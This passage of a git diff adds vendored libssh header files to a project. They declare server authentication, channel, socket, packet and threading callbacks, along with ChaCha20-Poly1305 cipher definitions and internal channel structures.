with the "none" method + * which is anonymous or passwordless. + * @param session Current session handler + * @param user User that wants to authenticate + * @param userdata Userdata to be passed to the callback function. + * @returns SSH_AUTH_SUCCESS Authentication is accepted. + * @returns SSH_AUTH_PARTIAL Partial authentication, more authentication means are needed. + * @returns SSH_AUTH_DENIED Authentication failed. + */ +typedef int (*ssh_auth_none_callback) (ssh_session session, const char *user, void *userdata); + +/** + * @brief SSH authentication callback. Tries to authenticates user with the "gssapi-with-mic" method + * @param session Current session handler + * @param user Username of the user (can be spoofed) + * @param principal Authenticated principal of the user, including realm. + * @param userdata Userdata to be passed to the callback function. + * @returns SSH_AUTH_SUCCESS Authentication is accepted. + * @returns SSH_AUTH_PARTIAL Partial authentication, more authentication means are needed. + * @returns SSH_AUTH_DENIED Authentication failed. + * @warning Implementations should verify that parameter user matches in some way the principal. + * user and principal can be different. Only the latter is guaranteed to be safe. + */ +typedef int (*ssh_auth_gssapi_mic_callback) (ssh_session session, const char *user, const char *principal, + void *userdata); + +/** + * @brief SSH authentication callback. + * @param session Current session handler + * @param user User that wants to authenticate + * @param pubkey public key used for authentication + * @param signature_state SSH_PUBLICKEY_STATE_NONE if the key is not signed (simple public key probe), + * SSH_PUBLICKEY_STATE_VALID if the signature is valid. Others values should be + * replied with a SSH_AUTH_DENIED. + * @param userdata Userdata to be passed to the callback function. + * @returns SSH_AUTH_SUCCESS Authentication is accepted. + * @returns SSH_AUTH_PARTIAL Partial authentication, more authentication means are needed. + * @returns SSH_AUTH_DENIED Authentication failed. + */ +typedef int (*ssh_auth_pubkey_callback) (ssh_session session, const char *user, struct ssh_key_struct *pubkey, + char signature_state, void *userdata); + + +/** + * @brief Handles an SSH service request + * @param session current session handler + * @param service name of the service (e.g. "ssh-userauth") requested + * @param userdata Userdata to be passed to the callback function. + * @returns 0 if the request is to be allowed + * @returns -1 if the request should not be allowed + */ + +typedef int (*ssh_service_request_callback) (ssh_session session, const char *service, void *userdata); + +/** + * @brief Handles an SSH new channel open session request + * @param session current session handler + * @param userdata Userdata to be passed to the callback function. + * @returns a valid ssh_channel handle if the request is to be allowed + * @returns NULL if the request should not be allowed + * @warning The channel pointer returned by this callback must be closed by the application. + */ +typedef ssh_channel (*ssh_channel_open_request_session_callback) (ssh_session session, void *userdata); + +/* + * @brief handle the beginning of a GSSAPI authentication, server side. + * @param session current session handler + * @param user the username of the client + * @param n_oid number of available oids + * @param oids OIDs provided by the client + * @returns an ssh_string containing the chosen OID, that's supported by both + * client and server. + * @warning It is not necessary to fill this callback in if libssh is linked + * with libgssapi. + */ +typedef ssh_string (*ssh_gssapi_select_oid_callback) (ssh_session session, const char *user, + int n_oid, ssh_string *oids, void *userdata); + +/* + * @brief handle the negotiation of a security context, server side. + * @param session current session handler + * @param[in] input_token input token provided by client + * @param[out] output_token output of the gssapi accept_sec_context method, + * NULL after completion. + * @returns SSH_OK if the token was generated correctly or accept_sec_context + * returned GSS_S_COMPLETE + * @returns SSH_ERROR in case of error + * @warning It is not necessary to fill this callback in if libssh is linked + * with libgssapi. + */ +typedef int (*ssh_gssapi_accept_sec_ctx_callback) (ssh_session session, + ssh_string input_token, ssh_string *output_token, void *userdata); + +/* + * @brief Verify and authenticates a MIC, server side. + * @param session current session handler + * @param[in] mic input mic to be verified provided by client + * @param[in] mic_buffer buffer of data to be signed. + * @param[in] mic_buffer_size size of mic_buffer + * @returns SSH_OK if the MIC was authenticated correctly + * @returns SSH_ERROR in case of error + * @warning It is not necessary to fill this callback in if libssh is linked + * with libgssapi. + */ +typedef int (*ssh_gssapi_verify_mic_callback) (ssh_session session, + ssh_string mic, void *mic_buffer, size_t mic_buffer_size, void *userdata); + + +/** + * This structure can be used to implement a libssh server, with appropriate callbacks. + */ + +struct ssh_server_callbacks_struct { + /** DON'T SET THIS use ssh_callbacks_init() instead. */ + size_t size; + /** + * User-provided data. User is free to set anything he wants here + */ + void *userdata; + /** This function gets called when a client tries to authenticate through + * password method. + */ + ssh_auth_password_callback auth_password_function; + + /** This function gets called when a client tries to authenticate through + * none method. + */ + ssh_auth_none_callback auth_none_function; + + /** This function gets called when a client tries to authenticate through + * gssapi-mic method. + */ + ssh_auth_gssapi_mic_callback auth_gssapi_mic_function; + + /** this function gets called when a client tries to authenticate or offer + * a public key. + */ + ssh_auth_pubkey_callback auth_pubkey_function; + + /** This functions gets called when a service request is issued by the + * client + */ + ssh_service_request_callback service_request_function; + /** This functions gets called when a new channel request is issued by + * the client + */ + ssh_channel_open_request_session_callback channel_open_request_session_function; + /** This function will be called when a new gssapi authentication is attempted. + */ + ssh_gssapi_select_oid_callback gssapi_select_oid_function; + /** This function will be called when a gssapi token comes in. + */ + ssh_gssapi_accept_sec_ctx_callback gssapi_accept_sec_ctx_function; + /* This function will be called when a MIC needs to be verified. + */ + ssh_gssapi_verify_mic_callback gssapi_verify_mic_function; +}; +typedef struct ssh_server_callbacks_struct *ssh_server_callbacks; + +/** + * @brief Set the session server callback functions. + * + * This functions sets the callback structure to use your own callback + * functions for user authentication, new channels and requests. + * + * Note, that the structure is not copied to the session structure so it needs + * to be valid for the whole session lifetime. + * + * @code + * struct ssh_server_callbacks_struct cb = { + * .userdata = data, + * .auth_password_function = my_auth_function + * }; + * ssh_callbacks_init(&cb); + * ssh_set_server_callbacks(session, &cb); + * @endcode + * + * @param session The session to set the callback structure. + * + * @param cb The callback structure itself. + * + * @return SSH_OK on success, SSH_ERROR on error. + */ +LIBSSH_API int ssh_set_server_callbacks(ssh_session session, ssh_server_callbacks cb); + +/** + * These are the callbacks exported by the socket structure + * They are called by the socket module when a socket event appears + */ +struct ssh_socket_callbacks_struct { + /** + * User-provided data. User is free to set anything he wants here + */ + void *userdata; + /** + * This function will be called each time data appears on socket. The data + * not consumed will appear on the next data event. + */ + ssh_callback_data data; + /** This function will be called each time a controlflow state changes, i.e. + * the socket is available for reading or writing. + */ + ssh_callback_int controlflow; + /** This function will be called each time an exception appears on socket. An + * exception can be a socket problem (timeout, ...) or an end-of-file. + */ + ssh_callback_int_int exception; + /** This function is called when the ssh_socket_connect was used on the socket + * on nonblocking state, and the connection succeeded. + */ + ssh_callback_int_int connected; +}; +typedef struct ssh_socket_callbacks_struct *ssh_socket_callbacks; + +#define SSH_SOCKET_FLOW_WRITEWILLBLOCK 1 +#define SSH_SOCKET_FLOW_WRITEWONTBLOCK 2 + +#define SSH_SOCKET_EXCEPTION_EOF 1 +#define SSH_SOCKET_EXCEPTION_ERROR 2 + +#define SSH_SOCKET_CONNECTED_OK 1 +#define SSH_SOCKET_CONNECTED_ERROR 2 +#define SSH_SOCKET_CONNECTED_TIMEOUT 3 + +/** + * @brief Initializes an ssh_callbacks_struct + * A call to this macro is mandatory when you have set a new + * ssh_callback_struct structure. Its goal is to maintain the binary + * compatibility with future versions of libssh as the structure + * evolves with time. + */ +#define ssh_callbacks_init(p) do {\ + (p)->size=sizeof(*(p)); \ +} while(0); + +/** + * @internal + * @brief tests if a callback can be called without crash + * verifies that the struct size if big enough + * verifies that the callback pointer exists + * @param p callback pointer + * @param c callback name + * @returns nonzero if callback can be called + */ +#define ssh_callbacks_exists(p,c) (\ + (p != NULL) && ( (char *)&((p)-> c) < (char *)(p) + (p)->size ) && \ + ((p)-> c != NULL) \ + ) + +/** + * @internal + * + * @brief Iterate through a list of callback structures + * + * This tests for their validity and executes them. The userdata argument is + * automatically passed through. + * + * @param list list of callbacks + * + * @param cbtype type of the callback + * + * @param c callback name + * + * @param va_args parameters to be passed + */ +#define ssh_callbacks_execute_list(list, cbtype, c, ...) \ + do { \ + struct ssh_iterator *i = ssh_list_get_iterator(list); \ + cbtype cb; \ + while (i != NULL){ \ + cb = ssh_iterator_value(cbtype, i); \ + if (ssh_callbacks_exists(cb, c)) \ + cb-> c (__VA_ARGS__, cb->userdata); \ + i = i->next; \ + } \ + } while(0) + +/** + * @internal + * + * @brief iterate through a list of callback structures. + * + * This tests for their validity and give control back to the calling code to + * execute them. Caller can decide to break the loop or continue executing the + * callbacks with different parameters + * + * @code + * ssh_callbacks_iterate(channel->callbacks, ssh_channel_callbacks, + * channel_eof_function){ + * rc = ssh_callbacks_iterate_exec(session, channel); + * if (rc != SSH_OK){ + * break; + * } + * } + * ssh_callbacks_iterate_end(); + * @endcode + */ +#define ssh_callbacks_iterate(_cb_list, _cb_type, _cb_name) \ + do { \ + struct ssh_iterator *_cb_i = ssh_list_get_iterator(_cb_list); \ + _cb_type _cb; \ + for (; _cb_i != NULL; _cb_i = _cb_i->next) { \ + _cb = ssh_iterator_value(_cb_type, _cb_i); \ + if (ssh_callbacks_exists(_cb, _cb_name)) + +#define ssh_callbacks_iterate_exec(_cb_name, ...) \ + _cb->_cb_name(__VA_ARGS__, _cb->userdata) + +#define ssh_callbacks_iterate_end() \ + } \ + } while(0) + +/** @brief Prototype for a packet callback, to be called when a new packet arrives + * @param session The current session of the packet + * @param type packet type (see ssh2.h) + * @param packet buffer containing the packet, excluding size, type and padding fields + * @param user user argument to the callback + * and are called each time a packet shows up + * @returns SSH_PACKET_USED Packet was parsed and used + * @returns SSH_PACKET_NOT_USED Packet was not used or understood, processing must continue + */ +typedef int (*ssh_packet_callback) (ssh_session session, uint8_t type, ssh_buffer packet, void *user); + +/** return values for a ssh_packet_callback */ +/** Packet was used and should not be parsed by another callback */ +#define SSH_PACKET_USED 1 +/** Packet was not used and should be passed to any other callback + * available */ +#define SSH_PACKET_NOT_USED 2 + + +/** @brief This macro declares a packet callback handler + * @code + * SSH_PACKET_CALLBACK(mycallback){ + * ... + * } + * @endcode + */ +#define SSH_PACKET_CALLBACK(name) \ + int name (ssh_session session, uint8_t type, ssh_buffer packet, void *user) + +struct ssh_packet_callbacks_struct { + /** Index of the first packet type being handled */ + uint8_t start; + /** Number of packets being handled by this callback struct */ + uint8_t n_callbacks; + /** A pointer to n_callbacks packet callbacks */ + ssh_packet_callback *callbacks; + /** + * User-provided data. User is free to set anything he wants here + */ + void *user; +}; + +typedef struct ssh_packet_callbacks_struct *ssh_packet_callbacks; + +/** + * @brief Set the session callback functions. + * + * This functions sets the callback structure to use your own callback + * functions for auth, logging and status. + * + * Note, that the callback structure is not copied into the session so it needs + * to be valid for the whole session lifetime. + * + * @code + * struct ssh_callbacks_struct cb = { + * .userdata = data, + * .auth_function = my_auth_function + * }; + * ssh_callbacks_init(&cb); + * ssh_set_callbacks(session, &cb); + * @endcode + * + * @param session The session to set the callback structure. + * + * @param cb The callback structure itself. + * + * @return SSH_OK on success, SSH_ERROR on error. + */ +LIBSSH_API int ssh_set_callbacks(ssh_session session, ssh_callbacks cb); + +/** + * @brief SSH channel data callback. Called when data is available on a channel + * @param session Current session handler + * @param channel the actual channel + * @param data the data that has been read on the channel + * @param len the length of the data + * @param is_stderr is 0 for stdout or 1 for stderr + * @param userdata Userdata to be passed to the callback function. + * @returns number of bytes processed by the callee. The remaining bytes will + * be sent in the next callback message, when more data is available. + */ +typedef int (*ssh_channel_data_callback) (ssh_session session, + ssh_channel channel, + void *data, + uint32_t len, + int is_stderr, + void *userdata); + +/** + * @brief SSH channel eof callback. Called when a channel receives EOF + * @param session Current session handler + * @param channel the actual channel + * @param userdata Userdata to be passed to the callback function. + */ +typedef void (*ssh_channel_eof_callback) (ssh_session session, + ssh_channel channel, + void *userdata); + +/** + * @brief SSH channel close callback. Called when a channel is closed by remote peer + * @param session Current session handler + * @param channel the actual channel + * @param userdata Userdata to be passed to the callback function. + */ +typedef void (*ssh_channel_close_callback) (ssh_session session, + ssh_channel channel, + void *userdata); + +/** + * @brief SSH channel signal callback. Called when a channel has received a signal + * @param session Current session handler + * @param channel the actual channel + * @param signal the signal name (without the SIG prefix) + * @param userdata Userdata to be passed to the callback function. + */ +typedef void (*ssh_channel_signal_callback) (ssh_session session, + ssh_channel channel, + const char *signal, + void *userdata); + +/** + * @brief SSH channel exit status callback. Called when a channel has received an exit status + * @param session Current session handler + * @param channel the actual channel + * @param exit_status Exit status of the ran command + * @param userdata Userdata to be passed to the callback function. + */ +typedef void (*ssh_channel_exit_status_callback) (ssh_session session, + ssh_channel channel, + int exit_status, + void *userdata); + +/** + * @brief SSH channel exit signal callback. Called when a channel has received an exit signal + * @param session Current session handler + * @param channel the actual channel + * @param signal the signal name (without the SIG prefix) + * @param core a boolean telling whether a core has been dumped or not + * @param errmsg the description of the exception + * @param lang the language of the description (format: RFC 3066) + * @param userdata Userdata to be passed to the callback function. + */ +typedef void (*ssh_channel_exit_signal_callback) (ssh_session session, + ssh_channel channel, + const char *signal, + int core, + const char *errmsg, + const char *lang, + void *userdata); + +/** + * @brief SSH channel PTY request from a client. + * @param session the session + * @param channel the channel + * @param term The type of terminal emulation + * @param width width of the terminal, in characters + * @param height height of the terminal, in characters + * @param pxwidth width of the terminal, in pixels + * @param pwheight height of the terminal, in pixels + * @param userdata Userdata to be passed to the callback function. + * @returns 0 if the pty request is accepted + * @returns -1 if the request is denied + */ +typedef int (*ssh_channel_pty_request_callback) (ssh_session session, + ssh_channel channel, + const char *term, + int width, int height, + int pxwidth, int pwheight, + void *userdata); + +/** + * @brief SSH channel Shell request from a client. + * @param session the session + * @param channel the channel + * @param userdata Userdata to be passed to the callback function. + * @returns 0 if the shell request is accepted + * @returns 1 if the request is denied + */ +typedef int (*ssh_channel_shell_request_callback) (ssh_session session, + ssh_channel channel, + void *userdata); +/** + * @brief SSH auth-agent-request from the client. This request is + * sent by a client when agent forwarding is available. + * Server is free to ignore this callback, no answer is expected. + * @param session the session + * @param channel the channel + * @param userdata Userdata to be passed to the callback function. + */ +typedef void (*ssh_channel_auth_agent_req_callback) (ssh_session session, + ssh_channel channel, + void *userdata); + +/** + * @brief SSH X11 request from the client. This request is + * sent by a client when X11 forwarding is requested(and available). + * Server is free to ignore this callback, no answer is expected. + * @param session the session + * @param channel the channel + * @param single_connection If true, only one channel should be forwarded + * @param auth_protocol The X11 authentication method to be used + * @param auth_cookie Authentication cookie encoded hexadecimal + * @param screen_number Screen number + * @param userdata Userdata to be passed to the callback function. + */ +typedef void (*ssh_channel_x11_req_callback) (ssh_session session, + ssh_channel channel, + int single_connection, + const char *auth_protocol, + const char *auth_cookie, + uint32_t screen_number, + void *userdata); +/** + * @brief SSH channel PTY windows change (terminal size) from a client. + * @param session the session + * @param channel the channel + * @param width width of the terminal, in characters + * @param height height of the terminal, in characters + * @param pxwidth width of the terminal, in pixels + * @param pwheight height of the terminal, in pixels + * @param userdata Userdata to be passed to the callback function. + * @returns 0 if the pty request is accepted + * @returns -1 if the request is denied + */ +typedef int (*ssh_channel_pty_window_change_callback) (ssh_session session, + ssh_channel channel, + int width, int height, + int pxwidth, int pwheight, + void *userdata); + +/** + * @brief SSH channel Exec request from a client. + * @param session the session + * @param channel the channel + * @param command the shell command to be executed + * @param userdata Userdata to be passed to the callback function. + * @returns 0 if the exec request is accepted + * @returns 1 if the request is denied + */ +typedef int (*ssh_channel_exec_request_callback) (ssh_session session, + ssh_channel channel, + const char *command, + void *userdata); + +/** + * @brief SSH channel environment request from a client. + * @param session the session + * @param channel the channel + * @param env_name name of the environment value to be set + * @param env_value value of the environment value to be set + * @param userdata Userdata to be passed to the callback function. + * @returns 0 if the env request is accepted + * @returns 1 if the request is denied + * @warning some environment variables can be dangerous if changed (e.g. + * LD_PRELOAD) and should not be fulfilled. + */ +typedef int (*ssh_channel_env_request_callback) (ssh_session session, + ssh_channel channel, + const char *env_name, + const char *env_value, + void *userdata); +/** + * @brief SSH channel subsystem request from a client. + * @param session the session + * @param channel the channel + * @param subsystem the subsystem required + * @param userdata Userdata to be passed to the callback function. + * @returns 0 if the subsystem request is accepted + * @returns 1 if the request is denied + */ +typedef int (*ssh_channel_subsystem_request_callback) (ssh_session session, + ssh_channel channel, + const char *subsystem, + void *userdata); + +/** + * @brief SSH channel write will not block (flow control). + * + * @param session the session + * + * @param channel the channel + * + * @param[in] bytes size of the remote window in bytes. Writing as much data + * will not block. + * + * @param[in] userdata Userdata to be passed to the callback function. + * + * @returns 0 default return value (other return codes may be added in future). + */ +typedef int (*ssh_channel_write_wontblock_callback) (ssh_session session, + ssh_channel channel, + uint32_t bytes, + void *userdata); + +struct ssh_channel_callbacks_struct { + /** DON'T SET THIS use ssh_callbacks_init() instead. */ + size_t size; + /** + * User-provided data. User is free to set anything he wants here + */ + void *userdata; + /** + * This functions will be called when there is data available. + */ + ssh_channel_data_callback channel_data_function; + /** + * This functions will be called when the channel has received an EOF. + */ + ssh_channel_eof_callback channel_eof_function; + /** + * This functions will be called when the channel has been closed by remote + */ + ssh_channel_close_callback channel_close_function; + /** + * This functions will be called when a signal has been received + */ + ssh_channel_signal_callback channel_signal_function; + /** + * This functions will be called when an exit status has been received + */ + ssh_channel_exit_status_callback channel_exit_status_function; + /** + * This functions will be called when an exit signal has been received + */ + ssh_channel_exit_signal_callback channel_exit_signal_function; + /** + * This function will be called when a client requests a PTY + */ + ssh_channel_pty_request_callback channel_pty_request_function; + /** + * This function will be called when a client requests a shell + */ + ssh_channel_shell_request_callback channel_shell_request_function; + /** This function will be called when a client requests agent + * authentication forwarding. + */ + ssh_channel_auth_agent_req_callback channel_auth_agent_req_function; + /** This function will be called when a client requests X11 + * forwarding. + */ + ssh_channel_x11_req_callback channel_x11_req_function; + /** This function will be called when a client requests a + * window change. + */ + ssh_channel_pty_window_change_callback channel_pty_window_change_function; + /** This function will be called when a client requests a + * command execution. + */ + ssh_channel_exec_request_callback channel_exec_request_function; + /** This function will be called when a client requests an environment + * variable to be set. + */ + ssh_channel_env_request_callback channel_env_request_function; + /** This function will be called when a client requests a subsystem + * (like sftp). + */ + ssh_channel_subsystem_request_callback channel_subsystem_request_function; + /** This function will be called when the channel write is guaranteed + * not to block. + */ + ssh_channel_write_wontblock_callback channel_write_wontblock_function; +}; + +typedef struct ssh_channel_callbacks_struct *ssh_channel_callbacks; + +/** + * @brief Set the channel callback functions. + * + * This functions sets the callback structure to use your own callback + * functions for channel data and exceptions. + * + * Note, that the structure is not copied to the channel structure so it needs + * to be valid as for the whole life of the channel or until it is removed with + * ssh_remove_channel_callbacks(). + * + * @code + * struct ssh_channel_callbacks_struct cb = { + * .userdata = data, + * .channel_data_function = my_channel_data_function + * }; + * ssh_callbacks_init(&cb); + * ssh_set_channel_callbacks(channel, &cb); + * @endcode + * + * @param channel The channel to set the callback structure. + * + * @param cb The callback structure itself. + * + * @return SSH_OK on success, SSH_ERROR on error. + * @warning this function will not replace existing callbacks but set the + * new one atop of them. + */ +LIBSSH_API int ssh_set_channel_callbacks(ssh_channel channel, + ssh_channel_callbacks cb); + +/** + * @brief Add channel callback functions + * + * This function will add channel callback functions to the channel callback + * list. + * Callbacks missing from a callback structure will be probed in the next + * on the list. + * + * @param channel The channel to set the callback structure. + * + * @param cb The callback structure itself. + * + * @return SSH_OK on success, SSH_ERROR on error. + * + * @see ssh_set_channel_callbacks + */ +LIBSSH_API int ssh_add_channel_callbacks(ssh_channel channel, + ssh_channel_callbacks cb); + +/** + * @brief Remove a channel callback. + * + * The channel has been added with ssh_add_channel_callbacks or + * ssh_set_channel_callbacks in this case. + * + * @param channel The channel to remove the callback structure from. + * + * @param cb The callback structure to remove + * + * @returns SSH_OK on success, SSH_ERROR on error. + */ +LIBSSH_API int ssh_remove_channel_callbacks(ssh_channel channel, + ssh_channel_callbacks cb); + +/** @} */ + +/** @addtogroup libssh_threads + * @{ + */ + +typedef int (*ssh_thread_callback) (void **lock); + +typedef unsigned long (*ssh_thread_id_callback) (void); +struct ssh_threads_callbacks_struct { + const char *type; + ssh_thread_callback mutex_init; + ssh_thread_callback mutex_destroy; + ssh_thread_callback mutex_lock; + ssh_thread_callback mutex_unlock; + ssh_thread_id_callback thread_id; +}; + +/** + * @brief Set the thread callbacks structure. + * + * This is necessary if your program is using libssh in a multithreaded fashion. + * This function must be called first, outside of any threading context (in your + * main() function for instance), before you call ssh_init(). + * + * @param[in] cb A pointer to a ssh_threads_callbacks_struct structure, which + * contains the different callbacks to be set. + * + * @returns Always returns SSH_OK. + * + * @see ssh_threads_callbacks_struct + * @see SSH_THREADS_PTHREAD + * @bug libgcrypt 1.6 and bigger backend does not support custom callback. + * Using anything else than pthreads here will fail. + */ +LIBSSH_API int ssh_threads_set_callbacks(struct ssh_threads_callbacks_struct + *cb); + +/** + * @brief Returns a pointer to the appropriate callbacks structure for the + * environment, to be used with ssh_threads_set_callbacks. + * + * @returns A pointer to a ssh_threads_callbacks_struct to be used with + * ssh_threads_set_callbacks. + * + * @see ssh_threads_set_callbacks + */ +LIBSSH_API struct ssh_threads_callbacks_struct *ssh_threads_get_default(void); + +/** + * @brief Returns a pointer on the pthread threads callbacks, to be used with + * ssh_threads_set_callbacks. + * + * @see ssh_threads_set_callbacks + */ +LIBSSH_API struct ssh_threads_callbacks_struct *ssh_threads_get_pthread(void); + +/** + * @brief Get the noop threads callbacks structure + * + * This can be used with ssh_threads_set_callbacks. These callbacks do nothing + * and are being used by default. + * + * @return Always returns a valid pointer to the noop callbacks structure. + * + * @see ssh_threads_set_callbacks + */ +LIBSSH_API struct ssh_threads_callbacks_struct *ssh_threads_get_noop(void); + +/** + * @brief Set the logging callback function. + * + * @param[in] cb The callback to set. + * + * @return 0 on success, < 0 on error. + */ +LIBSSH_API int ssh_set_log_callback(ssh_logging_callback cb); + +/** + * @brief Get the pointer to the logging callback function. + * + * @return The pointer the the callback or NULL if none set. + */ +LIBSSH_API ssh_logging_callback ssh_get_log_callback(void); + +/** @} */ +#ifdef __cplusplus +} +#endif + +#endif /*_SSH_CALLBACK_H */ + +/* @} */ diff --git a/vendor/libssh/include/libssh/chacha.h b/vendor/libssh/include/libssh/chacha.h new file mode 100644 index 0000000..ab3fe49 --- /dev/null +++ b/vendor/libssh/include/libssh/chacha.h @@ -0,0 +1,48 @@ +/* $OpenBSD: chacha.h,v 1.3 2014/05/02 03:27:54 djm Exp $ */ + +/* +chacha-merged.c version 20080118 +D. J. Bernstein +Public domain. +*/ + +#ifndef CHACHA_H +#define CHACHA_H + +struct chacha_ctx { + uint32_t input[16]; +}; + +#define CHACHA_MINKEYLEN 16 +#define CHACHA_NONCELEN 8 +#define CHACHA_CTRLEN 8 +#define CHACHA_STATELEN (CHACHA_NONCELEN+CHACHA_CTRLEN) + +#ifdef __cplusplus +extern "C" { +#endif + +void chacha_keysetup(struct chacha_ctx *x, const uint8_t *k, uint32_t kbits) +#ifdef HAVE_GCC_BOUNDED_ATTRIBUTE + __attribute__((__bounded__(__minbytes__, 2, CHACHA_MINKEYLEN))) +#endif + ; +void chacha_ivsetup(struct chacha_ctx *x, const uint8_t *iv, const uint8_t *ctr) +#ifdef HAVE_GCC_BOUNDED_ATTRIBUTE + __attribute__((__bounded__(__minbytes__, 2, CHACHA_NONCELEN))) + __attribute__((__bounded__(__minbytes__, 3, CHACHA_CTRLEN))) +#endif + ; +void chacha_encrypt_bytes(struct chacha_ctx *x, const uint8_t *m, + uint8_t *c, uint32_t bytes) +#ifdef HAVE_GCC_BOUNDED_ATTRIBUTE + __attribute__((__bounded__(__buffer__, 2, 4))) + __attribute__((__bounded__(__buffer__, 3, 4))) +#endif + ; + +#ifdef __cplusplus +} +#endif + +#endif /* CHACHA_H */ diff --git a/vendor/libssh/include/libssh/chacha20-poly1305-common.h b/vendor/libssh/include/libssh/chacha20-poly1305-common.h new file mode 100644 index 0000000..b2f0231 --- /dev/null +++ b/vendor/libssh/include/libssh/chacha20-poly1305-common.h @@ -0,0 +1,54 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2020 Red Hat, Inc. + * + * Author: Jakub Jelen + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +/* + * chacha20-poly1305.h file + * This file includes definitions needed for Chacha20-poly1305 AEAD cipher + * using different crypto backends. + */ + +#ifndef CHACHA20_POLY1305_H +#define CHACHA20_POLY1305_H + +#define CHACHA20_BLOCKSIZE 64 +#define CHACHA20_KEYLEN 32 + +#define POLY1305_TAGLEN 16 +/* size of the keys k1 and k2 as defined in specs */ +#define POLY1305_KEYLEN 32 + +#ifdef _MSC_VER +#pragma pack(push, 1) +#endif +struct ssh_packet_header { + uint32_t length; + uint8_t payload[]; +} +#if defined(__GNUC__) +__attribute__ ((packed)) +#endif +#ifdef _MSC_VER +#pragma pack(pop) +#endif +; + +#endif /* CHACHA20_POLY1305_H */ diff --git a/vendor/libssh/include/libssh/channels.h b/vendor/libssh/include/libssh/channels.h new file mode 100644 index 0000000..cb2bea4 --- /dev/null +++ b/vendor/libssh/include/libssh/channels.h @@ -0,0 +1,120 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef CHANNELS_H_ +#define CHANNELS_H_ +#include "libssh/priv.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** @internal + * Describes the different possible states in a + * outgoing (client) channel request + */ +enum ssh_channel_request_state_e { + /** No request has been made */ + SSH_CHANNEL_REQ_STATE_NONE = 0, + /** A request has been made and answer is pending */ + SSH_CHANNEL_REQ_STATE_PENDING, + /** A request has been replied and accepted */ + SSH_CHANNEL_REQ_STATE_ACCEPTED, + /** A request has been replied and refused */ + SSH_CHANNEL_REQ_STATE_DENIED, + /** A request has been replied and an error happened */ + SSH_CHANNEL_REQ_STATE_ERROR +}; + +enum ssh_channel_state_e { + SSH_CHANNEL_STATE_NOT_OPEN = 0, + SSH_CHANNEL_STATE_OPENING, + SSH_CHANNEL_STATE_OPEN_DENIED, + SSH_CHANNEL_STATE_OPEN, + SSH_CHANNEL_STATE_CLOSED +}; + +/* The channel has been closed by the remote side */ +#define SSH_CHANNEL_FLAG_CLOSED_REMOTE 0x0001 + +/* The channel has been closed locally */ +#define SSH_CHANNEL_FLAG_CLOSED_LOCAL 0x0002 + +/* The channel has been freed by the calling program */ +#define SSH_CHANNEL_FLAG_FREED_LOCAL 0x0004 + +/* the channel has not yet been bound to a remote one */ +#define SSH_CHANNEL_FLAG_NOT_BOUND 0x0008 + +struct ssh_channel_struct { + ssh_session session; /* SSH_SESSION pointer */ + uint32_t local_channel; + uint32_t local_window; + int local_eof; + uint32_t local_maxpacket; + + uint32_t remote_channel; + uint32_t remote_window; + int remote_eof; /* end of file received */ + uint32_t remote_maxpacket; + enum ssh_channel_state_e state; + int delayed_close; + int flags; + ssh_buffer stdout_buffer; + ssh_buffer stderr_buffer; + void *userarg; + int exit_status; + enum ssh_channel_request_state_e request_state; + struct ssh_list *callbacks; /* list of ssh_channel_callbacks */ + + /* counters */ + ssh_counter counter; +}; + +SSH_PACKET_CALLBACK(ssh_packet_channel_open_conf); +SSH_PACKET_CALLBACK(ssh_packet_channel_open_fail); +SSH_PACKET_CALLBACK(ssh_packet_channel_success); +SSH_PACKET_CALLBACK(ssh_packet_channel_failure); +SSH_PACKET_CALLBACK(ssh_request_success); +SSH_PACKET_CALLBACK(ssh_request_denied); + +SSH_PACKET_CALLBACK(channel_rcv_change_window); +SSH_PACKET_CALLBACK(channel_rcv_eof); +SSH_PACKET_CALLBACK(channel_rcv_close); +SSH_PACKET_CALLBACK(channel_rcv_request); +SSH_PACKET_CALLBACK(channel_rcv_data); + +int channel_default_bufferize(ssh_channel channel, + void *data, uint32_t len, + bool is_stderr); +int ssh_channel_flush(ssh_channel channel); +uint32_t ssh_channel_new_id(ssh_session session); +ssh_channel ssh_channel_from_local(ssh_session session, uint32_t id); +void ssh_channel_do_free(ssh_channel channel); +int ssh_global_request(ssh_session session, + const char *request, + ssh_buffer buffer, + int reply); + +#ifdef __cplusplus +} +#endif + +#endif /* CHANNELS_H_ */ diff --git a/vendor/libssh/include/libssh/config.h b/vendor/libssh/include/libssh/config.h new file mode 100644 index 0000000..a24d11a --- /dev/null +++ b/vendor/libssh/include/libssh/config.h @@ -0,0 +1,68 @@ +/* + * config.h - parse the ssh config file + * + * This file is part of the SSH Library + * + * Copyright (c) 2009-2018 by Andreas Schneider + * + * The SSH Library is free software; you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation; either version 2.1 of the License, or (at your + * option) any later version. + * + * The SSH Library is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY + * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public + * License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with the SSH Library; see the file COPYING. If not, write to + * the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, + * MA 02111-1307, USA. + */ + +#ifndef LIBSSH_CONFIG_H_ +#define LIBSSH_CONFIG_H_ + + +enum ssh_config_opcode_e { + /* Unknown opcode */ + SOC_UNKNOWN = -3, + /* Known and not applicable to libssh */ + SOC_NA = -2, + /* Known but not supported by current libssh version 